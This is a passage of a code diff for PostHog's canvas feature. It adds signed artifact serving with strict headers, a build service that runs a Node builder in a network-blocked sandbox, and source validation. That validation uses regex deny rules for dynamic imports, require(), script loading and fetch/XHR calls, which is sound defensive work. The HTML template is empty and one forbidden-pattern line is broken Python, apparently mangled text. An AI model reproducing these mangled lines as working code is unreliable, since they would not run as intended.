create_canvas_artifact_token(build) + if token is None: + return None + origin = settings.CANVAS_ARTIFACT_ORIGIN or settings.SITE_URL + return f"{origin}/canvas-artifacts/{token}/{artifact_path}" + + +def _read_token(token: str) -> dict[str, Any]: + for key in settings.CANVAS_ARTIFACT_SIGNING_KEYS: + try: + value = signing.TimestampSigner(key=key, salt=ARTIFACT_TOKEN_SALT).unsign_object( + token, max_age=ARTIFACT_TOKEN_MAX_AGE_SECONDS + ) + if isinstance(value, dict): + return value + except signing.BadSignature: + continue + raise Http404 + + +@xframe_options_exempt +def canvas_artifact(request: HttpRequest, token: str, artifact_path: str) -> HttpResponse: + if not (settings.DEBUG or settings.TEST): + configured_host = _configured_artifact_host() + if configured_host is None or request.get_host().lower() != configured_host: + raise Http404 + claims = _read_token(token) + team_id = claims.get("team_id") + if not isinstance(team_id, int) or isinstance(team_id, bool): + raise Http404 + try: + build_id = UUID(str(claims.get("build_id"))) + canvas_id = UUID(str(claims.get("canvas_id"))) + except (TypeError, ValueError): + raise Http404 from None + build = ( + CanvasBuild.objects.for_team(team_id) + .filter(id=build_id, canvas_id=canvas_id, status=CanvasBuild.STATUS_READY) + .first() + ) + if build is None or not build.artifact_object_prefix or not isinstance(build.manifest, dict): + raise Http404 + assets = build.manifest.get("assets") + asset = ( + next((item for item in assets if isinstance(item, dict) and item.get("path") == artifact_path), None) + if isinstance(assets, list) + else None + ) + if asset is None: + raise Http404 + content = object_storage.read_bytes(f"{build.artifact_object_prefix}/{artifact_path}") + if content is None: + raise Http404 + expected_hash = asset.get("contentHash") + if not isinstance(expected_hash, str) or not hmac.compare_digest( + hashlib.sha256(content).hexdigest(), expected_hash + ): + raise Http404 + response = HttpResponse(content, content_type=asset.get("contentType", "application/octet-stream")) + response["Cache-Control"] = "private, max-age=31536000, immutable" + response["Content-Disposition"] = "inline" + response["Cross-Origin-Resource-Policy"] = "cross-origin" + response["Referrer-Policy"] = "no-referrer" + response["X-Content-Type-Options"] = "nosniff" + response["Content-Security-Policy"] = ARTIFACT_CSP + response["Permissions-Policy"] = "camera=(), microphone=(), geolocation=(), payment=(), usb=()" + return response diff --git a/posthog/api/file_system/canvas_build_service.py b/posthog/api/file_system/canvas_build_service.py new file mode 100644 index 000000000000..89480c75c8a6 --- /dev/null +++ b/posthog/api/file_system/canvas_build_service.py @@ -0,0 +1,546 @@ +"""Source-version and build lifecycle for canvases. + +The relational rows (`CanvasSourceVersion`, `CanvasBuild`) are the control +plane; content lives in object storage: + +- serialized source projects under a private, content-addressed key + (``canvas_source/…``) — never served from the user-content origin; +- built artifact files under an immutable per-build prefix + (``canvas_artifact/…``). + +Publishing is upload-then-commit: the source object is uploaded before the +canvas row's transaction inserts the version/build rows and advances the +current-source pointer, so a conflicting transaction leaves at most an +unreferenced upload for the retention sweep — never a partially published +version. Deduplication is content-addressed but never crosses a canvas (a +shared object identity across tenants would leak that identical source +exists elsewhere). +""" + +import gzip +import json +import time +import shutil +import hashlib +import subprocess +from datetime import timedelta +from pathlib import Path +from typing import Any +from uuid import UUID + +from django.conf import settings +from django.db import transaction +from django.db.models import Q +from django.utils import timezone + +import structlog +from prometheus_client import Counter, Histogram + +from posthog.api.file_system.canvas_source import SYNTHETIC_INDEX_HTML, has_errors, validate_source_project +from posthog.models.file_system.canvas_build import CanvasBuild, CanvasSourceVersion +from posthog.models.file_system.file_system import FileSystem +from posthog.storage import object_storage + +logger = structlog.get_logger(__name__) + +CANVAS_BUILDER_PATH = Path(__file__).resolve().parents[3] / "common" / "canvas-builder" / "build.mjs" +MAX_ARTIFACT_FILES = 256 +MAX_ARTIFACT_FILE_BYTES = 4 * 1024 * 1024 +MAX_ARTIFACT_TOTAL_BYTES = 12 * 1024 * 1024 +MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM = 20 + +CANVAS_BUILD_OUTCOMES = Counter( + "posthog_canvas_build_outcomes_total", "Canvas build terminal outcomes", ["outcome", "code"] +) +CANVAS_BUILD_QUEUE_SECONDS = Histogram( + "posthog_canvas_build_queue_seconds", "Time a canvas build waits before execution" +) +CANVAS_BUILD_DURATION_SECONDS = Histogram( + "posthog_canvas_build_duration_seconds", "End-to-end canvas build latency", ["outcome"] +) +CANVAS_BUILD_ARTIFACT_BYTES = Histogram( + "posthog_canvas_build_artifact_bytes", "Total emitted bytes for successful canvas builds" +) + + +CANVAS_BUILDER_ENV = {"PATH": "/usr/local/bin:/usr/bin:/bin", "NODE_ENV": "production"} + + +def node_executable() -> str: + """Resolve node against the worker's own PATH. + + The builder child gets a sanitized env so it never inherits credentials, + which also means it cannot resolve `node` itself — outside the production + image (flox, homebrew, CI toolcaches) node lives nowhere near that minimal + PATH, so the interpreter has to be resolved here and passed absolute. + """ + resolved = shutil.which("node") or shutil.which("node", path=CANVAS_BUILDER_ENV["PATH"]) + if resolved is None: + raise RuntimeError("node is not on the canvas builder's PATH") + return resolved + + +def _run_local_builder(project: dict[str, Any]) -> dict[str, Any]: + process = subprocess.run( + [node_executable(), "--max-old-space-size=256", str(CANVAS_BUILDER_PATH)], + input=json.dumps({"project": project}, separators=(",", ":")), + capture_output=True, + text=True, + timeout=45, + check=False, + cwd=CANVAS_BUILDER_PATH.parent, + env=CANVAS_BUILDER_ENV, + ) + if process.returncode != 0: + raise RuntimeError(f"canvas builder exited with {process.returncode}: {(process.stderr or '')[-500:]}") + result = json.loads(process.stdout) + if not isinstance(result, dict): + raise ValueError("canvas builder returned an invalid response") + return result + + +def _run_sandbox_builder(project: dict[str, Any]) -> dict[str, Any]: + from products.tasks.backend.logic.services.sandbox import ( # noqa: PLC0415 + SandboxConfig, + SandboxTemplate, + get_sandbox_class, + ) + + config = SandboxConfig( + name="canvas-build", + template=SandboxTemplate.CANVAS_BUILD, + default_execution_timeout_seconds=45, + ttl_seconds=90, + memory_gb=0.5, + cpu_cores=1, + disk_size_gb=1, + block_network=True, + environment_variables=None, + metadata={"workload": "canvas-build"}, + ) + with get_sandbox_class().create(config) as sandbox: + setup = sandbox.execute("mkdir -p /scripts/canvas-builder", timeout_seconds=10) + if setup.exit_code != 0: + raise RuntimeError(f"canvas sandbox setup failed: {setup.stderr[-500:]}") + script_write = sandbox.write_file("/scripts/canvas-builder/build.mjs", CANVAS_BUILDER_PATH.read_bytes()) + input_write = sandbox.write_file( + "/tmp/canvas-build-input.json", json.dumps({"project": project}, separators=(",", ":")).encode() + ) + if script_write.exit_code != 0 or input_write.exit_code != 0: + raise RuntimeError("canvas sandbox input upload failed") + process = sandbox.execute( + "node --max-old-space-size=256 /scripts/canvas-builder/build.mjs < /tmp/canvas-build-input.json", + timeout_seconds=45, + ) + if process.exit_code != 0: + raise RuntimeError(f"canvas sandbox builder exited with {process.exit_code}: {process.stderr[-500:]}") + result = json.loads(process.stdout) + if not isinstance(result, dict): + raise ValueError("canvas sandbox builder returned an invalid response") + return result + + +def run_cloud_builder(project: dict[str, Any]) -> dict[str, Any]: + if settings.DEBUG or settings.TEST: + return _run_local_builder(project) + return _run_sandbox_builder(project) + + +def _valid_artifact_path(value: str) -> bool: + segments = value.split("/") + return ( + bool(value) + and not value.startswith("/") + and "\\" not in value + and all(segment not in {"", ".", ".."} for segment in segments) + and not any(character in value for character in "\r\n\0") + ) + + +def validate_builder_output( + result: dict[str, Any], +) -> tuple[list[dict[str, Any]], dict[str, Any], list[dict[str, Any]]]: + if result.get("contractVersion") != 1 or result.get("status") != "ready": + raise ValueError("canvas builder did not return a ready contract") + files = result.get("files") + manifest = result.get("manifest") + diagnostics = result.get("diagnostics") + if not isinstance(files, list) or not isinstance(manifest, dict) or not isinstance(diagnostics, list): + raise ValueError("canvas builder omitted artifacts, manifest, or diagnostics") + if len(files) > MAX_ARTIFACT_FILES: + raise ValueError("canvas artifact manifest has too many files") + seen: set[str] = set() + emitted_metadata: dict[str, tuple[str, int]] = {} + total = 0 + for artifact in files: + if not isinstance(artifact, dict): + raise ValueError("canvas builder emitted an invalid artifact") + path = artifact.get("path") + content = artifact.get("content") + digest = artifact.get("contentHash") + size = artifact.get("sizeBytes") + if ( + not isinstance(path, str) + or not _valid_artifact_path(path) + or path in seen + or not isinstance(content, str) + or not isinstance(digest, str) + or len(digest) != 64 + or not isinstance(size, int) + or isinstance(size, bool) + ): + raise ValueError("canvas builder emitted an invalid artifact") + encoded = content.encode("utf-8") + if hashlib.sha256(encoded).hexdigest() != digest or len(encoded) != size: + raise ValueError("canvas artifact integrity does not match its manifest") + if size > MAX_ARTIFACT_FILE_BYTES: + raise ValueError("canvas artifact exceeds the per-file size limit") + seen.add(path) + emitted_metadata[path] = (digest, size) + total += size + if total > MAX_ARTIFACT_TOTAL_BYTES: + raise ValueError("canvas build exceeds the total artifact size limit") + assets = manifest.get("assets") + if not isinstance(assets, list) or {asset.get("path") for asset in assets if isinstance(asset, dict)} != seen: + raise ValueError("canvas artifact manifest does not match emitted files") + for asset in assets: + if not isinstance(asset, dict): + raise ValueError("canvas artifact manifest metadata is invalid") + path = asset.get("path") + if not isinstance(path, str) or emitted_metadata.get(path) != ( + asset.get("contentHash"), + asset.get("sizeBytes"), + ): + raise ValueError("canvas artifact manifest metadata does not match emitted files") + entry = manifest.get("entryHtml") + if not isinstance(entry, str) or entry not in seen: + raise ValueError("canvas build does not contain its entry HTML") + return files, manifest, diagnostics[:500] + + +# Retention policy (see the canvas build pipeline plan): every referenced +# source version is kept for the canvas's lifetime; artifacts are bounded. +FAILED_BUILD_RETENTION = timedelta(hours=24) +SUCCESSFUL_BUILD_RETENTION = timedelta(days=30) +BUILD_LEASE_DURATION = timedelta(minutes=5) + + +def serialize_source_project(project: dict[str, Any]) -> tuple[bytes, str, int]: + """Canonical serialization: (gzip payload, hex sha256 of the canonical JSON, size).""" + canonical = json.dumps(project, sort_keys=True, separators=(",", ":"), ensure_ascii=False).encode("utf-8") + digest = hashlib.sha256(canonical).hexdigest() + return gzip.compress(canonical, mtime=0), digest, len(canonical) + + +def source_object_key(team_id: int, canvas_id: str | UUID, source_hash: str) -> str: + return f"canvas_source/team_{team_id}/{canvas_id}/{source_hash}.json.gz" + + +def artifact_object_prefix(team_id: int, canvas_id: str | UUID, build_id: str | UUID) -> str: + return f"canvas_artifact/team_{team_id}/{canvas_id}/{build_id}" + + +def upload_source_project(team_id: int, canvas_id: str | UUID, project: dict[str, Any]) -> tuple[str, str, int]: + """Upload the serialized project (idempotent — the key is content-addressed). + + Returns (object key, source hash, canonical size). Raises + ObjectStorageError when storage is unavailable; callers decide whether the + publish degrades to legacy-only or fails. + """ + payload, digest, size = serialize_source_project(project) + key = source_object_key(team_id, canvas_id, digest) + object_storage.write(key, payload, extras={"ContentType": "application/gzip"}) + return key, digest, size + + +def read_source_project(version: CanvasSourceVersion) -> dict[str, Any]: + payload = object_storage.read_bytes(version.source_object_key) + if payload is None: + raise object_storage.ObjectStorageError(f"source object {version.source_object_key} is missing") + canonical = gzip.decompress(payload) + digest = hashlib.sha256(canonical).hexdigest() + if digest != version.source_hash: + raise object_storage.ObjectStorageError( + f"source object {version.source_object_key} failed integrity verification" + ) + return json.loads(canonical) + + +def record_publish( + dashboard: FileSystem, + meta: dict[str, Any], + *, + project: dict[str, Any], + source_object: tuple[str, str, int], + legacy_version_id: str, + prompt: str | None, + task_id: UUID | None, + created_by_id: int | None, +) -> CanvasBuild: + """Insert the source version + queued build inside the publish transaction. + + Must run while the canvas row is locked, after the legacy meta merge: + mutates `meta` to advance `currentSourceVersionId` and enqueues the build + worker on commit. The caller saves the row. + """ + key, digest, size = source_object + parent_id = meta.get("currentSourceVersionId") + parent = CanvasSourceVersion.objects.for_team(dashboard.team_id).filter(id=parent_id).first() if parent_id else None + version = CanvasSourceVersion.objects.create( + team_id=dashboard.team_id, + canvas=dashboard, + parent_version=parent, + source_hash=digest, + source_object_key=key, + source_size=size, + task_id=task_id, + prompt=prompt or None, + legacy_version_id=legacy_version_id, + created_by_id=created_by_id, + ) + build = CanvasBuild.objects.create( + team_id=dashboard.team_id, + canvas=dashboard, + source_version=version, + status=CanvasBuild.STATUS_QUEUED, + ) + CanvasBuild.objects.for_team(dashboard.team_id).filter(canvas=dashboard, status=CanvasBuild.STATUS_QUEUED).exclude( + id=build.id + ).update( + status=CanvasBuild.STATUS_FAILED, + diagnostics=[ + { + "severity": "warning", + "code": "superseded", + "message": "A newer canvas source version was published before this build started.", + } + ], + finished_at=timezone.now(), + ) + meta["currentSourceVersionId"] = str(version.id) + + def enqueue() -> None: + from posthog.tasks.canvas_build import process_canvas_build # noqa: PLC0415 — avoids a task/api import cycle + + process_canvas_build.delay(dashboard.team_id, str(build.id)) + + transaction.on_commit(enqueue) + return build + + +def run_canvas_build(team_id: int, build_id: str) -> None: + """The cloud build worker body. + + Validates the recorded source project, uploads the immutable artifact + files, and marks the build ready — advancing the canvas's live pointer + only if this build's source version is still the canvas's current head. A + failed build records diagnostics and leaves the last-known-good build + untouched. Idempotent: a re-delivered task for a finished build is a no-op. + + The isolated Node process runs the same versioned contract as local + previews. Only its validated manifest and files may cross back into the + control plane. + """ + with transaction.atomic(): + build = ( + CanvasBuild.objects.for_team(team_id) + .select_for_update() + .filter(id=build_id) + .select_related("source_version", "canvas") + .first() + ) + if build is None: + logger.warning("canvas_build_missing", build_id=build_id) + return + if build.status not in (CanvasBuild.STATUS_QUEUED, CanvasBuild.STATUS_BUILDING): + return + now = timezone.now() + if build.status == CanvasBuild.STATUS_BUILDING and build.lease_expires_at and build.lease_expires_at > now: + return + build.status = CanvasBuild.STATUS_BUILDING + build.attempt_count += 1 + build.lease_expires_at = now + BUILD_LEASE_DURATION + build.save(update_fields=["status", "attempt_count", "lease_expires_at"]) + CANVAS_BUILD_QUEUE_SECONDS.observe(max(0, (now - build.created_at).total_seconds())) + + try: + project = read_source_project(build.source_version) + except object_storage.ObjectStorageError as error: + _finish_failed( + build, + [ + { + "severity": "error", + "code": "source_unreadable", + "message": f"could not load the source project: {error}", + } + ], + ) + return + + diagnostics = validate_source_project(project) + if has_errors(diagnostics): + _finish_failed(build, diagnostics) + return + + project_files = dict(project["files"]) + project_files.setdefault(project.get("entryHtml", "index.html"), SYNTHETIC_INDEX_HTML) + project = {**project, "files": project_files} + try: + result = run_cloud_builder(project) + if result.get("status") != "ready": + builder_diagnostics = result.get("diagnostics") + _finish_failed(build, builder_diagnostics[:500] if isinstance(builder_diagnostics, list) else []) + return + files, manifest, diagnostics = validate_builder_output(result) + except (subprocess.TimeoutExpired, OSError, json.JSONDecodeError, RuntimeError, ValueError) as error: + logger.warning( + "canvas_build_process_failed", + build_id=str(build.id), + error_type=type(error).__name__, + error=str(error)[:500], + ) + _finish_failed( + build, + [{"severity": "error", "code": "build_unavailable", "message": "The canvas build service is unavailable."}], + ) + return + + prefix = artifact_object_prefix(build.team_id, build.canvas_id, build.id) + manifest_assets = {asset["path"]: asset for asset in manifest["assets"]} + uploaded_keys: list[str] = [] + try: + for artifact in files: + content_type = _artifact_content_type(artifact["path"]) + key = f"{prefix}/{artifact['path']}" + object_storage.write( + key, + artifact["content"].encode("utf-8"), + extras={"ContentType": content_type, "CacheControl": "private, max-age=31536000, immutable"}, + ) + uploaded_keys.append(key) + manifest_assets[artifact["path"]]["contentType"] = content_type + except object_storage.ObjectStorageError: + if uploaded_keys: + object_storage.delete_objects(uploaded_keys) + _finish_failed( + build, + [{"severity": "error", "code": "artifact_upload_failed", "message": "Artifact storage is unavailable."}], + ) + return + integrity = hashlib.sha256(json.dumps(manifest, sort_keys=True, separators=(",", ":")).encode("utf-8")).hexdigest() + + # Second transaction: mark ready and advance the live pointer only while + # this build is still eligible (its source version is still the head). + with transaction.atomic(): + dashboard = FileSystem.objects.select_for_update().get(pk=build.canvas_id, team_id=team_id) + build.status = CanvasBuild.STATUS_READY + build.artifact_object_prefix = prefix + build.integrity = integrity + build.manifest = manifest + build.diagnostics = diagnostics + build.finished_at = timezone.now() + build.lease_expires_at = None + build.save( + update_fields=[ + "status", + "artifact_object_prefix", + "integrity", + "manifest", + "diagnostics", + "finished_at", + "lease_expires_at", + ] + ) + + meta = dict(dashboard.meta or {}) + if meta.get("currentSourceVersionId") == str(build.source_version_id): + meta["publishedBuildId"] = str(build.id) + meta["updatedAt"] = int(time.time() * 1000) + dashboard.meta = meta + dashboard.save(update_fields=["meta"]) + CANVAS_BUILD_OUTCOMES.labels(outcome="ready", code="").inc() + CANVAS_BUILD_DURATION_SECONDS.labels(outcome="ready").observe( + max(0, (build.finished_at - build.created_at).total_seconds()) + ) + CANVAS_BUILD_ARTIFACT_BYTES.observe(sum(asset["sizeBytes"] for asset in manifest["assets"])) + + +def _artifact_content_type(path: str) -> str: + if path.endswith(".html"): + return "text/html; charset=utf-8" + if path.endswith(".js"): + return "text/javascript; charset=utf-8" + if path.endswith(".css"): + return "text/css; charset=utf-8" + if path.endswith(".json"): + return "application/json; charset=utf-8" + return "application/octet-stream" + + +def _finish_failed(build: CanvasBuild, diagnostics: list[dict[str, Any]]) -> None: + logger.warning( + "canvas_build_failed", + build_id=str(build.id), + codes=[diagnostic.get("code") for diagnostic in diagnostics][:20], + ) + build.status = CanvasBuild.STATUS_FAILED + build.diagnostics = diagnostics + build.finished_at = timezone.now() + build.lease_expires_at = None + build.save(update_fields=["status", "diagnostics", "finished_at", "lease_expires_at"]) + code = str(diagnostics[0].get("code", "unknown")) if diagnostics else "unknown" + CANVAS_BUILD_OUTCOMES.labels(outcome="failed", code=code).inc() + CANVAS_BUILD_DURATION_SECONDS.labels(outcome="failed").observe( + max(0, (build.finished_at - build.created_at).total_seconds()) + ) + + +def cleanup_canvas_builds() -> int: + """Apply the artifact retention policy; returns the number of builds pruned. + + Keeps, per canvas: the active (published) build, the most recent other + successful build (instant rollback), and every pinned build. Other ready + builds lose their artifacts after 30 days (they remain rebuildable from + the retained source); failed builds lose theirs after 24 hours. Source + versions are never pruned — history, undo, and rebuilds depend on them. + """ + now = timezone.now() + pruned = 0 + stale = ( + CanvasBuild.objects.unscoped() + .filter(pinned=False, artifact_object_prefix__isnull=False) + .filter( + Q(status=CanvasBuild.STATUS_FAILED, finished_at__lt=now - FAILED_BUILD_RETENTION) + | Q(status=CanvasBuild.STATUS_READY, finished_at__lt=now - SUCCESSFUL_BUILD_RETENTION) + ) + .select_related("canvas") + .order_by("canvas_id", "-created_at") + ) + protected: dict[str, set[str]] = {} + for build in stale: + canvas_key = str(build.canvas_id) + if canvas_key not in protected: + meta = build.canvas.meta or {} + keep = {meta.get("publishedBuildId")} + rollback = ( + CanvasBuild.objects.unscoped() + .filter(canvas_id=build.canvas_id, status=CanvasBuild.STATUS_READY) + .exclude(id__in=[identifier for identifier in keep if identifier]) + .order_by("-created_at") + .values_list("id", flat=True) + .first() + ) + keep.add(str(rollback) if rollback else None) + protected[canvas_key] = {identifier for identifier in keep if identifier} + if str(build.id) in protected[canvas_key]: + continue + + assets = (build.manifest or {}).get("assets", []) + keys = [f"{build.artifact_object_prefix}/{asset['path']}" for asset in assets] + if keys: + object_storage.delete_objects(keys) + build.artifact_object_prefix = None + build.save(update_fields=["artifact_object_prefix"]) + pruned += 1 + return pruned diff --git a/posthog/api/file_system/canvas_source.py b/posthog/api/file_system/canvas_source.py new file mode 100644 index 000000000000..13f2da21d01f --- /dev/null +++ b/posthog/api/file_system/canvas_source.py @@ -0,0 +1,292 @@ +"""Canvas source project validation and legacy `meta.code` compatibility. + +A canvas source project is the multi-file write format for canvases (see the +canvas application build pipeline plan). The entry component is also stored in +the dashboard row's `meta.code` while the compatibility renderer remains; this +module maps between the two shapes: + +- a legacy canvas is presented as a *synthetic* source project whose entry + mounts the stored React component; +- a published source project is validated for the authoritative builder and its + entry component is mirrored to `meta.code` for the compatibility renderer. + +Everything here is pure — no I/O, no ORM — so it can be exercised without a +database and reused by the build workers later. +""" + +import re +from typing import Any + +CANVAS_SOURCE_SCHEMA_VERSION = 1 +CANVAS_ENTRY_HTML = "index.html" +# The conventional React entry component mirrored into the legacy runtime. +CANVAS_COMPONENT_PATH = "src/canvas.tsx" +# Version of the host-injected `ph` postMessage bridge the legacy runtime speaks. +CANVAS_SDK_VERSION = "0.1.0" + +MAX_SOURCE_FILES = 64 +MAX_FILE_BYTES = 512 * 1024 +MAX_TOTAL_BYTES = 2 * 1024 * 1024 + +# Platform-supported dependencies, pinned to the exact versions the legacy +# runtime's import map resolves (mirrors FREEFORM_WHITELIST in posthog/code). +PLATFORM_DEPENDENCIES: dict[str, str] = { + "react": "19.0.0", + "react-dom": "19.0.0", + "@posthog/quill": "0.3.0-beta.18", + "recharts": "2.15.0", + "lucide-react": "1.21.0", + "dayjs": "1.11.13", +} + +# Import specifiers the legacy runtime resolves. Exact-match only, so a subpath +# can't smuggle in an unreviewed entry point. +ALLOWED_IMPORT_SPECIFIERS = frozenset( + [ + "react", + "react-dom", + "react-dom/client", + "@posthog/quill", + "recharts", + "lucide-react", + "dayjs", + ] +) + +# The synthetic entry shell. The legacy runtime compiles and mounts the default +# export of the component file itself, so this file is informational: it makes +# the project a self-describing web project and reserves the layout the build +# service will compile for real. +SYNTHETIC_INDEX_HTML = """ + + + + + + +
+ + + + +""" + +# Matches static module specifiers: `from "spec"` (import-with-bindings and +# export-from) or a bare side-effect `import "spec"`. Regex-based like the +# client-side check, so a literal `from "x"` inside a string can still fool it — +# acceptable for the legacy tier; the build service parses for real. +_STATIC_IMPORT_RE = re.compile(r"\bfrom\s*[\"']([^\"']+)[\"']|\bimport\s*[\"']([^\"']+)[\"']") + +# Out-of-band code loading the legacy sandbox rejects outright. +_FORBIDDEN_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + (re.compile(r"\bimport\s*\("), "forbidden_dynamic_import", "dynamic import() is not allowed"), + (re.compile(r"\brequire\s*\("), "forbidden_require", "require() is not allowed"), + (re.compile(r"\bimportScripts\s*\("), "forbidden_import_scripts", "importScripts() is not allowed"), + (re.compile(r" is not allowed"), +] + +# Direct network calls: the `ph` bridge is the only sanctioned data path. The +# sandbox CSP blocks these at runtime, so surface them as warnings (the regex +# can't tell code from a comment or string). +_NETWORK_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + ( + re.compile(r"\bfetch\s*\("), + "network_fetch", + "fetch() is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), + ( + re.compile(r"\bXMLHttpRequest\b"), + "network_xhr", + "XMLHttpRequest is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), +] + +_PATH_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._@-]+$") + + +def diagnostic( + severity: str, code: str, message: str, path: str | None = None, line: int | None = None +) -> dict[str, Any]: + entry: dict[str, Any] = {"severity": severity, "code": code, "message": message} + if path is not None: + entry["path"] = path + if line is not None: + entry["line"] = line + return entry + + +def has_errors(diagnostics: list[dict[str, Any]]) -> bool: + return any(entry["severity"] == "error" for entry in diagnostics) + + +def synthetic_source_project(meta: dict[str, Any] | None) -> dict[str, Any]: + """Present a legacy `meta.code` canvas as a source project. + + The component file carries the stored source verbatim (empty string for a + canvas that has never been published), and the entry HTML is the fixed + synthetic shell. + """ + code = (meta or {}).get("code") + return { + "schemaVersion": CANVAS_SOURCE_SCHEMA_VERSION, + "files": { + CANVAS_ENTRY_HTML: SYNTHETIC_INDEX_HTML, + CANVAS_COMPONENT_PATH: code if isinstance(code, str) else "", + }, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": dict(PLATFORM_DEPENDENCIES), + "canvasSdkVersion": CANVAS_SDK_VERSION, + } + + +def extract_legacy_code(project: dict[str, Any]) -> str: + """The single-file React source a valid legacy-compatible project reduces to.""" + return project["files"].get(CANVAS_COMPONENT_PATH, "") + + +def _validate_path(path: str) -> str | None: + if path == "" or path.startswith("/") or "\\" in path: + return "file paths must be relative, non-empty, and use forward slashes" + segments = path.split("/") + for segment in segments: + if segment in ("", ".", ".."): + return "file paths must not contain empty, '.', or '..' segments" + if not _PATH_SEGMENT_RE.match(segment): + return "file path segments may only contain letters, digits, '.', '_', '@', and '-'" + return None + + +def _line_of(code: str, pattern: re.Pattern[str]) -> int | None: + match = pattern.search(code) + if match is None: + return None + return code.count("\n", 0, match.start()) + 1 + + +def _validate_component_source(code: str) -> list[dict[str, Any]]: + diagnostics: list[dict[str, Any]] = [] + + for pattern, code_name, message in _FORBIDDEN_PATTERNS: + line = _line_of(code, pattern) + if line is not None: + diagnostics.append(diagnostic("error", code_name, message, path=CANVAS_COMPONENT_PATH, line=line)) + + for pattern, code_name, message in _NETWORK_PATTERNS: + line = _line_of(code, pattern) + if line is not None: + diagnostics.append(diagnostic("warning", code_name, message, path=CANVAS_COMPONENT_PATH, line=line)) + + for match in _STATIC_IMPORT_RE.finditer(code): + specifier = match.group(1) or match.group(2) + if specifier and not specifier.startswith(("./", "../", "/")) and specifier not in ALLOWED_IMPORT_SPECIFIERS: + line = code.count("\n", 0, match.start()) + 1 + diagnostics.append( + diagnostic( + "error", + "import_not_allowed", + f'import of module "{specifier}" is not supported — allowed imports: ' + + ", ".join(sorted(ALLOWED_IMPORT_SPECIFIERS)), + path=CANVAS_COMPONENT_PATH, + line=line, + ) + ) + + return diagnostics + + +def validate_source_project(project: dict[str, Any]) -> list[dict[str, Any]]: + """Validate a candidate source project against the build contract. + + Returns structured diagnostics; an empty list (or warnings only) means the + project is publishable. Mirrors the build pipeline's stage-1 validation + (schema, paths, file count, total size) plus dependency and runtime safety + constraints. The authoritative builder performs module-graph validation. + """ + diagnostics: list[dict[str, Any]] = [] + + if project.get("schemaVersion") != CANVAS_SOURCE_SCHEMA_VERSION: + diagnostics.append( + diagnostic( + "error", + "unsupported_schema_version", + f"schemaVersion must be {CANVAS_SOURCE_SCHEMA_VERSION}", + ) + ) + + if project.get("entryHtml") != CANVAS_ENTRY_HTML: + diagnostics.append(diagnostic("error", "invalid_entry", f'entryHtml must be "{CANVAS_ENTRY_HTML}"')) + + files = project.get("files") or {} + if len(files) > MAX_SOURCE_FILES: + diagnostics.append( + diagnostic("error", "too_many_files", f"a source project may contain at most {MAX_SOURCE_FILES} files") + ) + + total_bytes = 0 + for path, content in files.items(): + path_problem = _validate_path(path) + if path_problem is not None: + diagnostics.append(diagnostic("error", "invalid_path", path_problem, path=path)) + continue + size = len(content.encode("utf-8")) + total_bytes += size + if size > MAX_FILE_BYTES: + diagnostics.append( + diagnostic( + "error", + "file_too_large", + f"file exceeds the {MAX_FILE_BYTES // 1024} KB per-file limit", + path=path, + ) + ) + for path, asset in (project.get("assets") or {}).items(): + path_problem = _validate_path(path) + if path_problem is not None: + diagnostics.append(diagnostic("error", "invalid_path", path_problem, path=path)) + continue + size = (len(asset.get("content", "")) * 3) // 4 + total_bytes += size + if size > MAX_TOTAL_BYTES: + diagnostics.append( + diagnostic( + "error", + "file_too_large", + f"asset exceeds the {MAX_TOTAL_BYTES // 1024} KB per-file limit", + path=path, + ) + ) + if total_bytes > MAX_TOTAL_BYTES: + diagnostics.append( + diagnostic( + "error", + "project_too_large", + f"the source project exceeds the {MAX_TOTAL_BYTES // 1024} KB total size limit", + ) + ) + + dependencies = project.get("dependencies") or {} + for name, version in dependencies.items(): + pinned = PLATFORM_DEPENDENCIES.get(name) + if pinned is None: + diagnostics.append( + diagnostic( + "error", + "dependency_not_admitted", + f'dependency "{name}" is not platform-supported — supported: ' + + ", ".join(sorted(PLATFORM_DEPENDENCIES)), + ) + ) + elif version != pinned: + diagnostics.append( + diagnostic( + "error", + "dependency_version_mismatch", + f'dependency "{name}" must be the platform-pinned version {pinned}, got {version}', + ) + ) + + component = files.get(CANVAS_COMPONENT_PATH) + if isinstance(component, str): + diagnostics.extend(_validate_component_source(component)) + + return diagnostics diff --git a/posthog/api/file_system/file_system.py b/posthog/api/file_system/file_system.py index 99eb9a518392..2f88075a0c93 100644 --- a/posthog/api/file_system/file_system.py +++ b/posthog/api/file_system/file_system.py @@ -2,20 +2,37 @@ import time import shlex import builtins +from collections.abc import Callable from typing import Any, cast from uuid import UUID, uuid4 from django.conf import settings +from django.core.exceptions import ValidationError as DjangoValidationError from django.db import transaction from django.db.models import Case, F, IntegerField, Q, QuerySet, Value, When from django.db.models.functions import Concat, Lower +from django.utils import timezone -from drf_spectacular.utils import OpenApiResponse, extend_schema +import structlog +from drf_spectacular.utils import OpenApiParameter, OpenApiResponse, extend_schema from rest_framework import filters, pagination, serializers, status, viewsets from rest_framework.request import Request from rest_framework.response import Response +from posthog.api.canvas_artifacts import create_canvas_artifact_url from posthog.api.file_system.access_levels import FileSystemAccessLevelSerializerMixin +from posthog.api.file_system.canvas_build_service import ( + MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM, + record_publish, + upload_source_project, +) +from posthog.api.file_system.canvas_source import ( + CANVAS_SDK_VERSION, + extract_legacy_code, + has_errors, + synthetic_source_project, + validate_source_project, +) from posthog.api.file_system.deletion import ( HOG_FUNCTION_TYPES, delete_file_system_object, @@ -50,6 +67,7 @@ from posthog.api.utils import action from posthog.auth import OAuthAccessTokenAuthentication from posthog.decorators import disallow_if_impersonated +from posthog.models.file_system.canvas_build import CanvasBuild from posthog.models.file_system.file_system import ( DEFAULT_SURFACE, FileSystem, @@ -63,11 +81,14 @@ from posthog.models.file_system.unfiled_file_saver import save_unfiled_files from posthog.models.team import Team from posthog.models.user import User +from posthog.storage.object_storage import ObjectStorageError from posthog.temporal.oauth import SANDBOX_OAUTH_APP_CLIENT_IDS from posthog.utils import str_to_bool from products.tasks.backend.facade import api as tasks_facade +logger = structlog.get_logger(__name__) + DELETE_PREVIEW_ENTRY_LIMIT = 200 # Search-within-Recents scans this many of the user's most-recent views, then the text filter trims @@ -219,6 +240,11 @@ class FileSystemViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): "count", "count_by_path", "context_generation", + "canvases", 